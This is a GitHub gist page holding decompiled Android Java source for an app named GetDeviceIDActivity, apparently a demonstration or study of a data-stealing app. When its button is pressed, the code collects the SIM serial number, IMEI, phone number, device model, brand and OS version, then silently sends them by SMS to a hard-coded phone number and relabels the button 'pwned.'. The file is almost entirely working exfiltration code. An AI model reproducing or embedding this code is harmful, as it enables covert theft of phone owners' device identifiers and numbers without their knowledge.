Created
February 29, 2012 03:12
-
-
Save ril3y/1937280 to your computer and use it in GitHub Desktop.
The decompiled version back to java of https://gist.github.com/1934804
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package com.synthetos; | |
import android.app.Activity; | |
import android.content.Context; | |
import android.os.Build; | |
import android.os.Build.VERSION; | |
import android.os.Bundle; | |
import android.telephony.SmsManager; | |
import android.telephony.TelephonyManager; | |
import android.view.View; | |
import android.view.View.OnClickListener; | |
import android.widget.Button; | |
import android.widget.TextView; | |
public class GetDeviceIDActivity extends Activity | |
implements View.OnClickListener | |
{ | |
Button getIdButton; | |
String phoneNumber = "5599676418"; //My telephone number | |
TextView text; | |
TextView xorVal; | |
public void onClick(View paramView) | |
{ | |
TelephonyManager localTelephonyManager = (TelephonyManager)getBaseContext().getSystemService("phone"); | |
String str1 = localTelephonyManager.getSimSerialNumber(); | |
String str2 = localTelephonyManager.getDeviceId(); | |
String str3 = Build.DEVICE; | |
String str4 = Build.BRAND; | |
String str5 = Build.VERSION.RELEASE; | |
String str6 = localTelephonyManager.getLine1Number(); | |
SmsManager localSmsManager = SmsManager.getDefault(); | |
this.text.setText(str2); | |
this.xorVal.setText(str1); | |
String str7 = "Number: " + str6 + " IME: " + str2 + " SIM: " + str1 + " Device: " + str3 + " Brand: " + str4 + " OS: " + str5; //building the message string. | |
localSmsManager.sendTextMessage(this.phoneNumber, null, str7, null, null); //sending the actual text message | |
this.getIdButton.setClickable(false); | |
this.getIdButton.setText("pwned."); | |
} | |
public void onCreate(Bundle paramBundle) | |
{ | |
super.onCreate(paramBundle); | |
setContentView(2130903040); | |
this.xorVal = ((TextView)findViewById(2131034118)); | |
this.text = ((TextView)findViewById(2131034114)); | |
this.getIdButton = ((Button)findViewById(2131034119)); | |
this.getIdButton.setOnClickListener(this); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment